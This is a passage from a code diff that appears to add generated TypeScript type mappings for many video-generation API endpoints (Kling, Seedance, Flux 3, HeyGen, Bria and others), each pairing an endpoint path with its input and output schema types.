+ * @description Output for Happy Horse video generation. + * @type object + */ + output: OutputAlibabaHappyHorseV11ImageToVideo + } + 'alibaba/happy-horse/v1.1/reference-to-video': { + /** + * @description Input for Happy Horse 1.1 reference-to-video generation. + * @type object + */ + input: InputAlibabaHappyHorseV11ReferenceToVideo + /** + * @description Output for Happy Horse video generation. + * @type object + */ + output: OutputAlibabaHappyHorseV11ReferenceToVideo + } + 'alibaba/happy-horse/v1.1/text-to-video': { + /** + * @description Input for Happy Horse 1.1 text-to-video generation. + * + * Identical to 1.0 except the aspect ratio adds ``21:9``, ``9:21``, ``5:4`` + * and ``4:5``. + * @type object + */ + input: InputAlibabaHappyHorseV11TextToVideo + /** + * @description Output for Happy Horse video generation. + * @type object + */ + output: OutputAlibabaHappyHorseV11TextToVideo + } + 'alibaba/happy-horse/video-edit': { + /** + * @description Input for Happy Horse video-editing (source video + edit prompt). + * @type object + */ + input: InputAlibabaHappyHorseVideoEdit + /** + * @description Output for Happy Horse video generation. + * @type object + */ + output: OutputAlibabaHappyHorseVideoEdit + } + 'alibaba/wan-3.0-prime/image-to-video': { + input: InputAlibabaWan30PrimeImageToVideo + output: OutputAlibabaWan30PrimeImageToVideo + } + 'alibaba/wan-3.0-prime/reference-to-video': { + input: InputAlibabaWan30PrimeReferenceToVideo + output: OutputAlibabaWan30PrimeReferenceToVideo + } + 'alibaba/wan-3.0-prime/text-to-video': { + input: InputAlibabaWan30PrimeTextToVideo + output: OutputAlibabaWan30PrimeTextToVideo + } + 'alibaba/wan-3.0/image-to-video': { + input: InputAlibabaWan30ImageToVideo + output: OutputAlibabaWan30ImageToVideo + } + 'alibaba/wan-3.0/reference-to-video': { + input: InputAlibabaWan30ReferenceToVideo + output: OutputAlibabaWan30ReferenceToVideo + } + 'alibaba/wan-3.0/text-to-video': { + input: InputAlibabaWan30TextToVideo + output: OutputAlibabaWan30TextToVideo + } + 'argil/avatars/audio-to-video': { + input: InputArgilAvatarsAudioToVideo + output: OutputArgilAvatarsAudioToVideo + } + 'argil/avatars/text-to-video': { + input: InputArgilAvatarsTextToVideo + output: OutputArgilAvatarsTextToVideo + } + 'blackforestlabs/flux-3-max/image-to-video': { + input: InputBlackforestlabsFlux3MaxImageToVideo + output: OutputBlackforestlabsFlux3MaxImageToVideo + } + 'blackforestlabs/flux-3-max/keyframes-to-video': { + input: InputBlackforestlabsFlux3MaxKeyframesToVideo + output: OutputBlackforestlabsFlux3MaxKeyframesToVideo + } + 'blackforestlabs/flux-3-max/text-to-video': { + input: InputBlackforestlabsFlux3MaxTextToVideo + output: OutputBlackforestlabsFlux3MaxTextToVideo + } + 'blackforestlabs/flux-3/draft-enhance': { + input: InputBlackforestlabsFlux3DraftEnhance + output: OutputBlackforestlabsFlux3DraftEnhance + } + 'blackforestlabs/flux-3/edit-video': { + input: InputBlackforestlabsFlux3EditVideo + output: OutputBlackforestlabsFlux3EditVideo + } + 'blackforestlabs/flux-3/extend-video': { + input: InputBlackforestlabsFlux3ExtendVideo + output: OutputBlackforestlabsFlux3ExtendVideo + } + 'blackforestlabs/flux-3/extend-video/draft': { + input: InputBlackforestlabsFlux3ExtendVideoDraft + output: OutputBlackforestlabsFlux3ExtendVideoDraft + } + 'blackforestlabs/flux-3/first-last-frame-to-video': { + input: InputBlackforestlabsFlux3FirstLastFrameToVideo + output: OutputBlackforestlabsFlux3FirstLastFrameToVideo + } + 'blackforestlabs/flux-3/first-last-frame-to-video/draft': { + input: InputBlackforestlabsFlux3FirstLastFrameToVideoDraft + output: OutputBlackforestlabsFlux3FirstLastFrameToVideoDraft + } + 'blackforestlabs/flux-3/image-to-video': { + input: InputBlackforestlabsFlux3ImageToVideo + output: OutputBlackforestlabsFlux3ImageToVideo + } + 'blackforestlabs/flux-3/image-to-video/draft': { + input: InputBlackforestlabsFlux3ImageToVideoDraft + output: OutputBlackforestlabsFlux3ImageToVideoDraft + } + 'blackforestlabs/flux-3/keyframes-to-video': { + input: InputBlackforestlabsFlux3KeyframesToVideo + output: OutputBlackforestlabsFlux3KeyframesToVideo + } + 'blackforestlabs/flux-3/keyframes-to-video/draft': { + input: InputBlackforestlabsFlux3KeyframesToVideoDraft + output: OutputBlackforestlabsFlux3KeyframesToVideoDraft + } + 'blackforestlabs/flux-3/text-to-video': { + input: InputBlackforestlabsFlux3TextToVideo + output: OutputBlackforestlabsFlux3TextToVideo + } + 'blackforestlabs/flux-3/text-to-video/draft': { + input: InputBlackforestlabsFlux3TextToVideoDraft + output: OutputBlackforestlabsFlux3TextToVideoDraft + } + 'blackforestlabs/flux-video-upscale': { + input: InputBlackforestlabsFluxVideoUpscale + output: OutputBlackforestlabsFluxVideoUpscale + } + 'bria/bria_video_eraser/erase/keypoints': { + input: InputBriaBriaVideoEraserEraseKeypoints + output: OutputBriaBriaVideoEraserEraseKeypoints + } + 'bria/bria_video_eraser/erase/mask': { + input: InputBriaBriaVideoEraserEraseMask + output: OutputBriaBriaVideoEraserEraseMask + } + 'bria/bria_video_eraser/erase/prompt': { + input: InputBriaBriaVideoEraserErasePrompt + output: OutputBriaBriaVideoEraserErasePrompt + } + 'bria/video/background-removal': { + input: InputBriaVideoBackgroundRemoval + output: OutputBriaVideoBackgroundRemoval + } + 'bria/video/background-removal/green-screen-despill': { + input: InputBriaVideoBackgroundRemovalGreenScreenDespill + output: OutputBriaVideoBackgroundRemovalGreenScreenDespill + } + 'bria/video/background-removal/realtime': { + /** + * @description Playground input: webcam/video source (inherited ``image_url``) plus the + * background to composite the subject onto — a solid colour, a custom image, + * or a blurred copy of the frame. + * @type object + */ + input: InputBriaVideoBackgroundRemovalRealtime + output: OutputBriaVideoBackgroundRemovalRealtime + } + 'bria/video/background-removal/v3': { + input: InputBriaVideoBackgroundRemovalV3 + output: OutputBriaVideoBackgroundRemovalV3 + } + 'bria/video/erase/keypoints': { + input: InputBriaVideoEraseKeypoints + output: OutputBriaVideoEraseKeypoints + } + 'bria/video/erase/mask': { + input: InputBriaVideoEraseMask + output: OutputBriaVideoEraseMask + } + 'bria/video/erase/prompt': { + input: InputBriaVideoErasePrompt + output: OutputBriaVideoErasePrompt + } + 'bria/video/increase-resolution': { + input: InputBriaVideoIncreaseResolution + output: OutputBriaVideoIncreaseResolution + } + 'bytedance/omnihuman/v2': { + input: InputBytedanceOmnihumanV2 + output: OutputBytedanceOmnihumanV2 + } + 'bytedance/seedance-2.0/fast/image-to-video': { + input: InputBytedanceSeedance20FastImageToVideo + output: OutputBytedanceSeedance20FastImageToVideo + } + 'bytedance/seedance-2.0/fast/reference-to-video': { + input: InputBytedanceSeedance20FastReferenceToVideo + output: OutputBytedanceSeedance20FastReferenceToVideo + } + 'bytedance/seedance-2.0/fast/text-to-video': { + input: InputBytedanceSeedance20FastTextToVideo + output: OutputBytedanceSeedance20FastTextToVideo + } + 'bytedance/seedance-2.0/mini/image-to-video': { + input: InputBytedanceSeedance20MiniImageToVideo + output: OutputBytedanceSeedance20MiniImageToVideo + } + 'bytedance/seedance-2.0/mini/reference-to-video': { + input: InputBytedanceSeedance20MiniReferenceToVideo + output: OutputBytedanceSeedance20MiniReferenceToVideo + } + 'bytedance/seedance-2.0/mini/text-to-video': { + input: InputBytedanceSeedance20MiniTextToVideo + output: OutputBytedanceSeedance20MiniTextToVideo + } + 'bytedance/seedance-2.0/us/image-to-video': { + input: InputBytedanceSeedance20UsImageToVideo + output: OutputBytedanceSeedance20UsImageToVideo + } + 'bytedance/seedance-2.0/us/reference-to-video': { + input: InputBytedanceSeedance20UsReferenceToVideo + output: OutputBytedanceSeedance20UsReferenceToVideo + } + 'bytedance/seedance-2.0/us/text-to-video': { + input: InputBytedanceSeedance20UsTextToVideo + output: OutputBytedanceSeedance20UsTextToVideo + } + 'bytedance/seedance-2.5/us/draft/complete': { + input: InputBytedanceSeedance25UsDraftComplete + output: OutputBytedanceSeedance25UsDraftComplete + } + 'bytedance/seedance-2.5/us/image-to-video': { + input: InputBytedanceSeedance25UsImageToVideo + output: OutputBytedanceSeedance25UsImageToVideo + } + 'bytedance/seedance-2.5/us/reference-to-video': { + input: InputBytedanceSeedance25UsReferenceToVideo + output: OutputBytedanceSeedance25UsReferenceToVideo + } + 'bytedance/seedance-2.5/us/text-to-video': { + input: InputBytedanceSeedance25UsTextToVideo + output: OutputBytedanceSeedance25UsTextToVideo + } + 'cassetteai/video-sound-effects-generator': { + /** + * @description Pydantic model for receiving a video file to analyze and re-sound. + * @type object + */ + input: InputCassetteaiVideoSoundEffectsGenerator + /** + * @description Pydantic model for returning the re-sounded video back to the client. + * @type object + */ + output: OutputCassetteaiVideoSoundEffectsGenerator + } + 'clarityai/crystal-video-upscaler': { + input: InputClarityaiCrystalVideoUpscaler + output: OutputClarityaiCrystalVideoUpscaler + } + 'creatify/boreal': { + input: InputCreatifyBoreal + output: OutputCreatifyBoreal + } + 'decart/lucy-2-5/realtime': { + input: InputDecartLucy25Realtime + output: OutputDecartLucy25Realtime + } + 'decart/lucy-restyle': { + input: InputDecartLucyRestyle + output: OutputDecartLucyRestyle + } + 'decart/lucy2-vton/realtime': { + /** + * @description Input model for the Lucy 2 RT signaling proxy. + * + * Uses extra="allow" so WebRTC signaling messages ({type: "offer", sdp: ...}) + * pass validation alongside application messages. The schema exposes prompt, + * image_url, and reference_image_url for playground form rendering. + * @type object + */ + input: InputDecartLucy2VtonRealtime + output: OutputDecartLucy2VtonRealtime + } + 'fal-ai/ai-avatar/multi': { + input: InputFalAiAiAvatarMulti + output: OutputFalAiAiAvatarMulti + } + 'fal-ai/ai-avatar/multi-text': { + input: InputFalAiAiAvatarMultiText + output: OutputFalAiAiAvatarMultiText + } + 'fal-ai/ai-avatar/single-text': { + input: InputFalAiAiAvatarSingleText + output: OutputFalAiAiAvatarSingleText + } + 'fal-ai/auto-caption': { + input: InputFalAiAutoCaption + output: OutputFalAiAutoCaption + } + 'fal-ai/ben/v2/video': { + input: InputFalAiBenV2Video + output: OutputFalAiBenV2Video + } + 'fal-ai/birefnet/v2/video': { + input: InputFalAiBirefnetV2Video + output: OutputFalAiBirefnetV2Video + } + 'fal-ai/bytedance-upscaler/upscale/video': { + input: InputFalAiBytedanceUpscalerUpscaleVideo + output: OutputFalAiBytedanceUpscalerUpscaleVideo + } + 'fal-ai/bytedance/dreamactor/v2': { + input: InputFalAiBytedanceDreamactorV2 + output: OutputFalAiBytedanceDreamactorV2 + } + 'fal-ai/bytedance/omnihuman': { + input: InputFalAiBytedanceOmnihuman + output: OutputFalAiBytedanceOmnihuman + } + 'fal-ai/bytedance/omnihuman/v1.5': { + input: InputFalAiBytedanceOmnihumanV15 + output: OutputFalAiBytedanceOmnihumanV15 + } + 'fal-ai/bytedance/seedance/v1.5/pro/image-to-video': { + input: InputFalAiBytedanceSeedanceV15ProImageToVideo + output: OutputFalAiBytedanceSeedanceV15ProImageToVideo + } + 'fal-ai/bytedance/seedance/v1.5/pro/text-to-video': { + input: InputFalAiBytedanceSeedanceV15ProTextToVideo + output: OutputFalAiBytedanceSeedanceV15ProTextToVideo + } + 'fal-ai/bytedance/seedance/v1/pro/fast/image-to-video': { + input: InputFalAiBytedanceSeedanceV1ProFastImageToVideo + output: OutputFalAiBytedanceSeedanceV1ProFastImageToVideo + } + 'fal-ai/bytedance/seedance/v1/pro/fast/text-to-video': { + input: InputFalAiBytedanceSeedanceV1ProFastTextToVideo + output: OutputFalAiBytedanceSeedanceV1ProFastTextToVideo + } + 'fal-ai/bytedance/seedance/v1/pro/image-to-video': { + input: InputFalAiBytedanceSeedanceV1ProImageToVideo + output: OutputFalAiBytedanceSeedanceV1ProImageToVideo + } + 'fal-ai/bytedance/seedance/v1/pro/text-to-video': { + input: InputFalAiBytedanceSeedanceV1ProTextToVideo + output: OutputFalAiBytedanceSeedanceV1ProTextToVideo + } + 'fal-ai/creatify/aurora': { + input: InputFalAiCreatifyAurora + output: OutputFalAiCreatifyAurora + } + 'fal-ai/davinci-magihuman': { + input: InputFalAiDavinciMagihuman + output: OutputFalAiDavinciMagihuman + } + 'fal-ai/depth-anything-video': { + /** + * @description Input schema for video depth estimation. + * @type object + */ + input: InputFalAiDepthAnythingVideo + /** + * @description Output schema for video depth estimation. + * @type object + */ + output: OutputFalAiDepthAnythingVideo + } + 'fal-ai/dwpose/video': { + input: InputFalAiDwposeVideo + output: OutputFalAiDwposeVideo + } + 'fal-ai/echomimic-v3': { + input: InputFalAiEchomimicV3 + output: OutputFalAiEchomimicV3 + } + 'fal-ai/elevenlabs/dubbing': { + input: InputFalAiElevenlabsDubbing + output: OutputFalAiElevenlabsDubbing + } + 'fal-ai/ffmpeg-api/compose': { + input: InputFalAiFfmpegApiCompose + output: OutputFalAiFfmpegApiCompose + } + 'fal-ai/ffmpeg-api/images-to-video': { + input: InputFalAiFfmpegApiImagesToVideo + output: OutputFalAiFfmpegApiImagesToVideo + } + 'fal-ai/ffmpeg-api/merge-audio-video': { + input: InputFalAiFfmpegApiMergeAudioVideo + output: OutputFalAiFfmpegApiMergeAudioVideo + } + 'fal-ai/ffmpeg-api/merge-videos': { + input: InputFalAiFfmpegApiMergeVideos + output: OutputFalAiFfmpegApiMergeVideos + } + 'fal-ai/film/video': { + input: InputFalAiFilmVideo + output: OutputFalAiFilmVideo + } + 'fal-ai/flashhead': { + input: InputFalAiFlashhead + output: OutputFalAiFlashhead + } + 'fal-ai/flux-3-action/so101': { + input: InputFalAiFlux3ActionSo101 + output: OutputFalAiFlux3ActionSo101 + } + 'fal-ai/framepack': { + input: InputFalAiFramepack + output: OutputFalAiFramepack + } + 'fal-ai/framepack/f1': { + input: InputFalAiFramepackF1 + output: OutputFalAiFramepackF1 + } + 'fal-ai/framepack/flf2v': { + input: InputFalAiFramepackFlf2V + output: OutputFalAiFramepackFlf2V + } + 'fal-ai/heygen/avatar3/digital-twin': { + /** + * @description Request model for digital twin video generation using Avatar 3 (Engine III). + * @type object + */ + input: InputFalAiHeygenAvatar3DigitalTwin + output: OutputFalAiHeygenAvatar3DigitalTwin + } + 'fal-ai/heygen/avatar4/digital-twin': { + /** + * @description Request model for digital twin video generation using Avatar 4 (Engine IV). + * @type object + */ + input: InputFalAiHeygenAvatar4DigitalTwin + output: OutputFalAiHeygenAvatar4DigitalTwin + } + 'fal-ai/heygen/avatar4/image-to-video': { + input: InputFalAiHeygenAvatar4ImageToVideo + output: OutputFalAiHeygenAvatar4ImageToVideo + } + 'fal-ai/heygen/avatar5/digital-twin': { + /** + * @description Request for HeyGen Avatar V digital-twin video generation. + * + * Pass either ``avatar`` (a name from the ``/v2/avatars`` catalog) or + * ``avatar_id`` (a raw HeyGen avatar ID); the avatar must be Avatar + * V-eligible (HeyGen returns 400 otherwise). + * @type object + */ + input: InputFalAiHeygenAvatar5DigitalTwin + /** + * @description Output from the Avatar V digital-twin endpoint. + * @type object + */ + output: OutputFalAiHeygenAvatar5DigitalTwin + } + 'fal-ai/heygen/v2/translate/precision': { + /** + * @description Base request for video translation without a mode field (mode is determined by the endpoint). + * @type object + */ + input: InputFalAiHeygenV2TranslatePrecision + output: OutputFalAiHeygenV2TranslatePrecision + } + 'fal-ai/heygen/v2/translate/speed': { + /** + * @description Base request for video translation without a mode field (mode is determined by the endpoint). + * @type object + */ + input: InputFalAiHeygenV2TranslateSpeed + output: OutputFalAiHeygenV2TranslateSpeed + } + 'fal-ai/heygen/v2/video-agent': { + input: InputFalAiHeygenV2VideoAgent + output: OutputFalAiHeygenV2VideoAgent + } + 'fal-ai/heygen/v3/filler-word-removal': { + input: InputFalAiHeygenV3FillerWordRemoval + output: OutputFalAiHeygenV3FillerWordRemoval + } + 'fal-ai/heygen/v3/lipsync/precision': { + /** + * @description Base request for lip-syncing a video (mode is determined by the endpoint). + * @type object + */ + input: InputFalAiHeygenV3LipsyncPrecision + /** + * @description Output from the Lipsync API. + * @type object + */ + output: OutputFalAiHeygenV3LipsyncPrecision + } + 'fal-ai/heygen/v3/lipsync/speed': { + /** + * @description Base request for lip-syncing a video (mode is determined by the endpoint). + * @type object + */ + input: InputFalAiHeygenV3LipsyncSpeed + /** + * @description Output from the Lipsync API. + * @type object + */ + output: OutputFalAiHeygenV3LipsyncSpeed + } + 'fal-ai/heygen/v3/video-agent': { + /** + * @description Request for the v3 Video Agent with styles and file attachments. + * @type object + */ + input: InputFalAiHeygenV3VideoAgent + /** + * @description Output from the v3 Video Agent. + * @type object + */ + output: OutputFalAiHeygenV3VideoAgent + } + 'fal-ai/hunyuan-video': { + input: InputFalAiHunyuanVideo + output: OutputFalAiHunyuanVideo + } + 'fal-ai/hunyuan-video-foley': { + input: InputFalAiHunyuanVideoFoley + output: OutputFalAiHunyuanVideoFoley + } + 'fal-ai/hunyuan-video-image-to-video': { + input: InputFalAiHunyuanVideoImageToVideo + output: OutputFalAiHunyuanVideoImageToVideo + } + 'fal-ai/hunyuan-video-v1.5/image-to-video': { + input: InputFalAiHunyuanVideoV15ImageToVideo + output: OutputFalAiHunyuanVideoV15ImageToVideo + } + 'fal-ai/hunyuan-video-v1.5/text-to-video': { + input: InputFalAiHunyuanVideoV15TextToVideo + output: OutputFalAiHunyuanVideoV15TextToVideo + } + 'fal-ai/hunyuan-video/video-to-video': { + input: InputFalAiHunyuanVideoVideoToVideo + output: OutputFalAiHunyuanVideoVideoToVideo + } + 'fal-ai/id-v2v': { + input: InputFalAiIdV2V + output: OutputFalAiIdV2V + } + 'fal-ai/id-v2v/relight': { + input: InputFalAiIdV2VRelight + output: OutputFalAiIdV2VRelight + } + 'fal-ai/infinity-star/text-to-video': { + /** + * @description Input model for text-to-video generation + * @type object + */ + input: InputFalAiInfinityStarTextToVideo + /** + * @description Output model for text-to-video generation + * @type object + */ + output: OutputFalAiInfinityStarTextToVideo + } + 'fal-ai/kandinsky5-pro/image-to-video': { + input: InputFalAiKandinsky5ProImageToVideo + output: OutputFalAiKandinsky5ProImageToVideo + } + 'fal-ai/kandinsky5-pro/text-to-video': { + input: InputFalAiKandinsky5ProTextToVideo + output: OutputFalAiKandinsky5ProTextToVideo + } + 'fal-ai/kandinsky5/text-to-video': { + input: InputFalAiKandinsky5TextToVideo + output: OutputFalAiKandinsky5TextToVideo + } + 'fal-ai/kandinsky5/text-to-video/distill': { + input: InputFalAiKandinsky5TextToVideoDistill + output: OutputFalAiKandinsky5TextToVideoDistill + } + 'fal-ai/kandinsky6-lite/image-to-video': { + input: InputFalAiKandinsky6LiteImageToVideo + output: OutputFalAiKandinsky6LiteImageToVideo + } + 'fal-ai/kandinsky6-lite/text-to-video': { + input: InputFalAiKandinsky6LiteTextToVideo + output: OutputFalAiKandinsky6LiteTextToVideo + } + 'fal-ai/kandinsky6-pro/image-to-video': { + input: InputFalAiKandinsky6ProImageToVideo + output: OutputFalAiKandinsky6ProImageToVideo + } + 'fal-ai/kandinsky6-pro/text-to-video': { + input: InputFalAiKandinsky6ProTextToVideo + output: OutputFalAiKandinsky6ProTextToVideo + } + 'fal-ai/kandinsky6-vsr': { + input: InputFalAiKandinsky6Vsr + output: OutputFalAiKandinsky6Vsr + } + 'fal-ai/kandinsky6-vsr/lite': { + input: InputFalAiKandinsky6VsrLite + output: OutputFalAiKandinsky6VsrLite + } + 'fal-ai/kling-video/ai-avatar/v2/pro': { + input: InputFalAiKlingVideoAiAvatarV2Pro + output: OutputFalAiKlingVideoAiAvatarV2Pro + } + 'fal-ai/kling-video/ai-avatar/v2/standard': { + input: InputFalAiKlingVideoAiAvatarV2Standard + output: OutputFalAiKlingVideoAiAvatarV2Standard + } + 'fal-ai/kling-video/lipsync/audio-to-video': { + input: InputFalAiKlingVideoLipsyncAudioToVideo + output: OutputFalAiKlingVideoLipsyncAudioToVideo + } + 'fal-ai/kling-video/lipsync/text-to-video': { + input: InputFalAiKlingVideoLipsyncTextToVideo + output: OutputFalAiKlingVideoLipsyncTextToVideo + } + 'fal-ai/kling-video/o1/image-to-video': { + input: InputFalAiKlingVideoO1ImageToVideo + /** + * @description Output for Kling Omni Video generation. + * @type object + */ + output: OutputFalAiKlingVideoO1ImageToVideo + } + 'fal-ai/kling-video/o1/reference-to-video': { + /** + * @description Input for start-frame video generation with optional reference images and elements. + * @type object + */ + input: InputFalAiKlingVideoO1ReferenceToVideo + output: OutputFalAiKlingVideoO1ReferenceToVideo + } + 'fal-ai/kling-video/o1/standard/image-to-video': { + input: InputFalAiKlingVideoO1StandardImageToVideo + /** + * @description Output for Kling Omni Video generation. + * @type object + */ + output: OutputFalAiKlingVideoO1StandardImageToVideo + } + 'fal-ai/kling-video/o1/standard/reference-to-video': { + /** + * @description Input for start-frame video generation with optional reference images and elements. + * @type object + */ + input: InputFalAiKlingVideoO1StandardReferenceToVideo + output: OutputFalAiKlingVideoO1StandardReferenceToVideo + } + 'fal-ai/kling-video/o1/standard/video-to-video/edit': { + /** + * @description Input for video editing or video-as-reference generation. + * @type object + */ + input: InputFalAiKlingVideoO1StandardVideoToVideoEdit + output: OutputFalAiKlingVideoO1StandardVideoToVideoEdit + } + 'fal-ai/kling-video/o1/standard/video-to-video/reference': { + /** + * @description Input for video editing or video-as-reference generation. + * @type object + */ + input: InputFalAiKlingVideoO1StandardVideoToVideoReference + output: OutputFalAiKlingVideoO1StandardVideoToVideoReference + } + 'fal-ai/kling-video/o1/video-to-video/edit': { + /** + * @description Input for video editing or video-as-reference generation. + * @type object + */ + input: InputFalAiKlingVideoO1VideoToVideoEdit + output: OutputFalAiKlingVideoO1VideoToVideoEdit + } + 'fal-ai/kling-video/o1/video-to-video/reference': { + /** + * @description Input for video editing or video-as-reference generation. + * @type object + */ + input: InputFalAiKlingVideoO1VideoToVideoReference + output: OutputFalAiKlingVideoO1VideoToVideoReference + } + 'fal-ai/kling-video/o3/4k/image-to-video': { + input: InputFalAiKlingVideoO34KImageToVideo + output: OutputFalAiKlingVideoO34KImageToVideo + } + 'fal-ai/kling-video/o3/4k/reference-to-video': { + input: InputFalAiKlingVideoO34KReferenceToVideo + output: OutputFalAiKlingVideoO34KReferenceToVideo + } + 'fal-ai/kling-video/o3/4k/text-to-video': { + input: InputFalAiKlingVideoO34KTextToVideo + /** + * @description Output for O3 4k text-to-video endpoint. + * @type object + */ + output: OutputFalAiKlingVideoO34KTextToVideo + } + 'fal-ai/kling-video/o3/4k/video-to-video/edit': { + /** + * @description Input for O3 4K video editing. + * @type object + */ + input: InputFalAiKlingVideoO34KVideoToVideoEdit + /** + * @description Output for the O3 4K video-edit endpoint. + * @type object + */ + output: OutputFalAiKlingVideoO34KVideoToVideoEdit + } + 'fal-ai/kling-video/o3/4k/video-to-video/reference': { + /** + * @description Input for O3 4K video-reference generation. + * @type object + */ + input: InputFalAiKlingVideoO34KVideoToVideoReference + /** + * @description Output for the O3 4K video-reference endpoint. + * @type object + */ + output: OutputFalAiKlingVideoO34KVideoToVideoReference + } + 'fal-ai/kling-video/o3/pro/image-to-video': { + input: InputFalAiKlingVideoO3ProImageToVideo + output: OutputFalAiKlingVideoO3ProImageToVideo + } + 'fal-ai/kling-video/o3/pro/reference-to-video': { + input: InputFalAiKlingVideoO3ProReferenceToVideo + output: OutputFalAiKlingVideoO3ProReferenceToVideo + } + 'fal-ai/kling-video/o3/pro/text-to-video': { + input: InputFalAiKlingVideoO3ProTextToVideo + /** + * @description Output for O3 video generation endpoints. + * @type object + */ + output: OutputFalAiKlingVideoO3ProTextToVideo + } + 'fal-ai/kling-video/o3/pro/video-to-video/edit': { + input: InputFalAiKlingVideoO3ProVideoToVideoEdit + output: OutputFalAiKlingVideoO3ProVideoToVideoEdit + } + 'fal-ai/kling-video/o3/pro/video-to-video/reference': { + input: InputFalAiKlingVideoO3ProVideoToVideoReference + output: OutputFalAiKlingVideoO3ProVideoToVideoReference + } + 'fal-ai/kling-video/o3/standard/image-to-video': { + input: InputFalAiKlingVideoO3StandardImageToVideo + output: OutputFalAiKlingVideoO3StandardImageToVideo + } + 'fal-ai/kling-video/o3/standard/reference-to-video': { + input: InputFalAiKlingVideoO3StandardReferenceToVideo + output: OutputFalAiKlingVideoO3StandardReferenceToVideo + } + 'fal-ai/kling-video/o3/standard/text-to-video': { + input: InputFalAiKlingVideoO3StandardTextToVideo + /** + * @description Output for O3 video generation endpoints. + * @type object + */ + output: OutputFalAiKlingVideoO3StandardTextToVideo + } + 'fal-ai/kling-video/o3/standard/video-to-video/edit': { + input: InputFalAiKlingVideoO3StandardVideoToVideoEdit + output: OutputFalAiKlingVideoO3StandardVideoToVideoEdit + } + 'fal-ai/kling-video/o3/standard/video-to-video/reference': { + input: InputFalAiKlingVideoO3StandardVideoToVideoReference + output: OutputFalAiKlingVideoO3StandardVideoToVideoReference + } + 'fal-ai/kling-video/v1.5/pro/effects': { + input: InputFalAiKlingVideoV15ProEffects + output: OutputFalAiKlingVideoV15ProEffects + } + 'fal-ai/kling-video/v1.6/pro/effects': { + input: InputFalAiKlingVideoV16ProEffects + output: OutputFalAiKlingVideoV16ProEffects + } + 'fal-ai/kling-video/v1.6/standard/effects': { + input: InputFalAiKlingVideoV16StandardEffects + output: OutputFalAiKlingVideoV16StandardEffects + } + 'fal-ai/kling-video/v1/pro/ai-avatar': { + input: InputFalAiKlingVideoV1ProAiAvatar + output: OutputFalAiKlingVideoV1ProAiAvatar + } + 'fal-ai/kling-video/v1/standard/ai-avatar': { + input: InputFalAiKlingVideoV1StandardAiAvatar + output: OutputFalAiKlingVideoV1StandardAiAvatar + } + 'fal-ai/kling-video/v1/standard/effects': { + input: InputFalAiKlingVideoV1StandardEffects + output: OutputFalAiKlingVideoV1StandardEffects + } + 'fal-ai/kling-video/v2.5-turbo/pro/image-to-video': { + input: InputFalAiKlingVideoV25TurboProImageToVideo + output: OutputFalAiKlingVideoV25TurboProImageToVideo + } + 'fal-ai/kling-video/v2.5-turbo/pro/text-to-video': { + input: InputFalAiKlingVideoV25TurboProTextToVideo + output: OutputFalAiKlingVideoV25TurboProTextToVideo + } + 'fal-ai/kling-video/v2.5-turbo/standard/image-to-video': { + input: InputFalAiKlingVideoV25TurboStandardImageToVideo + output: OutputFalAiKlingVideoV25TurboStandardImageToVideo + } + 'fal-ai/kling-video/v2.6/pro/image-to-video': { + input: InputFalAiKlingVideoV26ProImageToVideo + output: OutputFalAiKlingVideoV26ProImageToVideo + } + 'fal-ai/kling-video/v2.6/pro/motion-control': { + /** + * @description Request model for motion control video generation. + * @type object + */ + input: InputFalAiKlingVideoV26ProMotionControl + /** + * @description Output model for motion control video generation. + * @type object + */ + output: OutputFalAiKlingVideoV26ProMotionControl + } + 'fal-ai/kling-video/v2.6/pro/text-to-video': { + input: InputFalAiKlingVideoV26ProTextToVideo + output: OutputFalAiKlingVideoV26ProTextToVideo + } + 'fal-ai/kling-video/v2.6/standard/motion-control': { + /** + * @description Request model for motion control video generation. + * @type object + */ + input: InputFalAiKlingVideoV26StandardMotionControl + /** + * @description Output model for motion control video generation. + * @type object + */ + output: OutputFalAiKlingVideoV26StandardMotionControl + } + 'fal-ai/kling-video/v3/4k/image-to-video': { + input: InputFalAiKlingVideoV34KImageToVideo + output: OutputFalAiKlingVideoV34KImageToVideo + } + 'fal-ai/kling-video/v3/4k/text-to-video': { + input: InputFalAiKlingVideoV34KTextToVideo + output: OutputFalAiKlingVideoV34KTextToVideo + } + 'fal-ai/kling-video/v3/pro/image-to-video': { + input: InputFalAiKlingVideoV3ProImageToVideo + output: OutputFalAiKlingVideoV3ProImageToVideo + } + 'fal-ai/kling-video/v3/pro/motion-control': { + input: InputFalAiKlingVideoV3ProMotionControl + output: OutputFalAiKlingVideoV3ProMotionControl + } + 'fal-ai/kling-video/v3/pro/text-to-video': { + input: InputFalAiKlingVideoV3ProTextToVideo + output: OutputFalAiKlingVideoV3ProTextToVideo + } + 'fal-ai/kling-video/v3/standard/image-to-video': { + input: InputFalAiKlingVideoV3StandardImageToVideo + output: OutputFalAiKlingVideoV3StandardImageToVideo + } + 'fal-ai/kling-video/v3/standard/motion-control': { + input: InputFalAiKlingVideoV3StandardMotionControl + output: OutputFalAiKlingVideoV3StandardMotionControl + } + 'fal-ai/kling-video/v3/standard/text-to-video': { + input: InputFalAiKlingVideoV3StandardTextToVideo + output: OutputFalAiKlingVideoV3StandardTextToVideo + } + 'fal-ai/kling-video/v3/turbo/pro/image-to-video': { + /** + * @description Kling 3.0 Turbo (pro, 1080p) image-to-video input. + * @type object + */ + input: InputFalAiKlingVideoV3TurboProImageToVideo + output: OutputFalAiKlingVideoV3TurboProImageToVideo + } + 'fal-ai/kling-video/v3/turbo/pro/text-to-video': { + /** + * @description Kling 3.0 Turbo (pro, 1080p) text-to-video input. + * @type object + */ + input: InputFalAiKlingVideoV3TurboProTextToVideo + output: OutputFalAiKlingVideoV3TurboProTextToVideo + } + 'fal-ai/kling-video/v3/turbo/standard/image-to-video': { + /** + * @description Kling 3.0 Turbo (standard, 720p) image-to-video input. + * @type object + */ + input: InputFalAiKlingVideoV3TurboStandardImageToVideo + output: OutputFalAiKlingVideoV3TurboStandardImageToVideo + } + 'fal-ai/kling-video/v3/turbo/standard/text-to-video': { + /** + * @description Kling 3.0 Turbo (standard, 720p) text-to-video input. + * @type object + */ + input: InputFalAiKlingVideoV3TurboStandardTextToVideo + output: OutputFalAiKlingVideoV3TurboStandardTextToVideo + } + 'fal-ai/krea-wan-14b/text-to-video': { + input: InputFalAiKreaWan14BTextToVideo + output: OutputFalAiKreaWan14BTextToVideo + } + 'fal-ai/krea-wan-14b/video-to-video': { + input: InputFalAiKreaWan14BVideoToVideo + output: OutputFalAiKreaWan14BVideoToVideo + } + 'fal-ai/latentsync': { + input: InputFalAiLatentsync + output: OutputFalAiLatentsync + } + 'fal-ai/lightx/recamera': { + /** + * @description Re-camera-only request (minimal schema). + * @type object + */ + input: InputFalAiLightxRecamera + output: 